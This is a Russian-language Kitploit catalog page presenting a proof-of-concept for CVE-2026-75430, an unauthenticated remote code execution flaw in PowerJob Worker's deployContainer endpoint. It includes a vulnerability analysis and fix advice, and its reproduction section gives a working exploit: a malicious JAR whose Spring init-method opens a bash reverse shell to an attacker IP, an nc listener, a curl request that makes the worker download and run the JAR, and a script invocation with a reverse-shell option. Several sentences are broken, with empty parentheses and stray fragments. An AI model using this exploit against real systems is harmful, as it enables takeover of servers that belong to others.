Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-75430_PowerJob_worker_deployContainer_RCE — Доказательство концепции эксплуатации для CVE-2026-75430, обеспечивающее неаутентифицированное удалённое выполнение кода на PowerJob Worker через произвольную загрузку JAR через конечную точку deployContainer. | Kitploit
Инструменты/GitHubGitHub/unpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubunpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce

CVE-2026-75430_PowerJob_worker_deployContainer_RCE

Доказательство концепции эксплуатации для CVE-2026-75430, обеспечивающее неаутентифицированное удалённое выполнение кода на PowerJob Worker через произвольную загрузку JAR через конечную точку deployContainer.

Репозиторий
25 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Неаутентифицированное удалённое выполнение кода в PowerJob Worker через /worker/deployContainer (произвольная загрузка JAR)

1. Краткое описание

Worker PowerJob предоставляет обработчик deployContainer на своём HTTP-транспортном порту 27777 без какой-либо аутентификации. Злоумышленник отправляет произвольный URL; Worker загружает этот JAR и загружает его через URLClassLoader + Spring ClassPathXmlApplicationContext, выполняя произвольный код во время Spring init-method → RCE на Worker. Стандартный docker-compose публикует этот порт на хост.

Предварительное условие (честное заявление): Worker должен быть запущен (порт 27777 прослушивается). В конфигурации по умолчанию Worker при запуске проверяет, что его приложение зарегистрировано на сервере (); (проверено: Java-процесс завершается с кодом 1). Поэтому строго свежее состояние «docker-compose up без настройки консоли» напрямую не эксплуатируется. Однако (в противном случае система не планирует задачи), поэтому , после чего эксплойт не требует учётных данных. Напротив, смежная находка PJ-08 (сервер ) не имеет такого предварительного условия — сервер безусловно привязывает порт 10010 при запуске.

/server/assert
если приложение не зарегистрировано, Worker не запускается и порт 27777 не прослушивается
нормальная работа PowerJob обязательно требует регистрации приложения и нахождения Worker в сети
любое реально используемое развёртывание по своей сути удовлетворяет предварительному условию
/friend/process

2. Затронутый продукт

  • Продукт: PowerJob Worker (powerjob-worker, развёртывается через официальный образ powerjob-worker-samples)
  • Затронутые версии: 5.1.2 (конструкция транспортного уровня Worker без аутентификации перенесена из более ранних выпусков)
  • Развёртывание по умолчанию: сервис worker в docker-compose.yml, HTTP-протокол, порт 27777 (PowerJobWorkerConfig.java:34)

3. Место уязвимости

ЭлементЗначение
Точка входаPOST http://<worker>:27777/worker/deployContainer
Обработчикpowerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), без аутентификации)
ЗагрузкаOmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...)
Загрузка классаOmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh()

Тело запроса ServerDeployContainerRequest (поля containerId/containerName/version/downloadURL).

4. Корневая причина

  • На транспортном уровне Worker↔Server отсутствует аутентификация по токену/подписи; обработчик WorkerActor полностью доверяет downloadURL.
  • OmsContainerFactory загружает JAR с произвольного URL и немедленно вызывает OmsJarContainer.init(): загрузка через URLClassLoader + refresh() контекста Spring → вредоносный код выполняется во время инициализации класса/Bean.

5. Сценарий атаки

Предварительное условие: Worker запущен и порт 27777 прослушивается (выполняется при любом производственном/демонстрационном развёртывании; если оператор следовал официальной процедуре и создал пример приложения, Worker находится в сети). Для воспроизведения Worker можно запустить с --powerjob.worker.allow-lazy-connect-server=true, чтобы пропустить проверку регистрации приложения (не рекомендуется в производстве; обратите внимание, что этот параметр влияет только на то, выходит ли Worker в сеть — он не меняет отсутствие аутентификации на открытом порту).

  1. Злоумышленник размещает HTTP-файловый сервер, обслуживающий вредоносный JAR. Структура JAR (соответствующая требованиям OmsJarContainer.init()):
    • oms-worker-container.properties с PACKAGE_NAME=com.evil
    • com/evil/Exploit.class — класс, предоставляющий Spring init-method (например, run()), который выполняет команду
    • oms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>
  2. Отправьте POST /worker/deployContainer на порт Worker 27777 с телом {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}.
  3. Worker загружает JAR → OmsJarContainer.init(): OhMyClassLoader.load() загружает класс (статический инициализатор не выполняется), затем ClassPathXmlApplicationContext.refresh() создаёт экземпляр bean и вызывает init-method → выполнение произвольной команды (с правами среды выполнения Worker).
  4. Дополнительно: обработчик скриптов AbstractScriptProcessor.java:118-123 также поддерживает загрузку с произвольного URL → SSRF на стороне Worker.

Нет вывода результата: обработчик deployContainer возвращает void, поэтому HTTP-ответ не содержит вывода команды (проверено: пустое тело). Для интерактивного выполнения команд основным методом является обратная оболочка (см. Воспроизведение ниже); вариант с файлом-маркером — только локальная, неинтерактивная проверка.

6. Воспроизведение (проверено)

Окружение: JDK 21, собранный из исходников powerjob-worker-samples-5.1.2.jar, Worker прослушивает 192.168.49.128:27777 (запущен с --powerjob.worker.allow-lazy-connect-server=true для пропуска регистрации приложения).

Основной метод — обратная оболочка (интерактивное выполнение команд):

Exploit.run() вредоносного JAR (Spring init-method) запускает обратную оболочку. Поскольку вывода результата нет, это эффективный способ получить интерактивное выполнение команд на хосте Worker.

root@kitploit:~
# 1) Злоумышленник сначала прослушивает:
nc -lvnp 7878

# 2) Создание вредоносного JAR — Exploit.run() запускает bash-обратную оболочку
package com.evil;
public class Exploit {
    public void run() {
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
          "bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"});   // LHOST:LPORT
    }
}
# oms-worker-container.properties :  PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
#   <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
  oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000     # размещение evil.jar

# 3) Запуск (без учётных данных):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
  "containerId": 3, "containerName": "evil", "version": "3",
  "downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
image

В качестве альтернативы используйте скрипт для проверки: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878

Ключевой момент PoC: OhMyClassLoader.load() вызывает только loadClass(), который не выполняет статические инициализаторы; фактическая точка выполнения — Spring init-method, вызываемый ClassPathXmlApplicationContext.refresh(). Поэтому вредоносный JAR должен содержать Spring XML и объявлять init-method. Обратная оболочка должна запускаться через /bin/bash -c, поскольку /bin/sh (dash) не разбирает /dev/tcp.

7. Воздействие

  • Полный контроль над узлом Worker (кража параметров/кода задач, чтение/запись результатов задач, переход к бизнес-системам, потребляющим вывод задач).
  • Граница воздействия: процесс Worker / хост.

8. Рекомендуемое исправление

  • Добавьте взаимную аутентификацию на транспортный уровень; разрешите запуск deployContainer только доверенному Server и проверяйте источник.
  • Ограничьте downloadURL доверенными внутренними адресами; проверяйте хэш/подпись JAR перед загрузкой.

9. CWE / CVSS

  • CWE: CWE-94 (Некорректный контроль генерации кода) / CWE-502 (Десериализация недоверенных данных / недоверенная загрузка)
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Критический

10. Доказательства / Раскрытие

  • Анализ: PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)
  • Воспроизведение: проверено локально (192.168.49.128:27777, без учётных данных → RCE на Worker); см. ## 6. Воспроизведение
  • PoC: PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (автосборка JAR + размещение + запуск, --reverse-shell, -p/--proxy)
  • Отправка: вместе с PJ-08/PJ-12 через канал PowerJob SECURITY.md (Tidelift / [email protected] / GitHub Security Advisory)
Скачать инструмент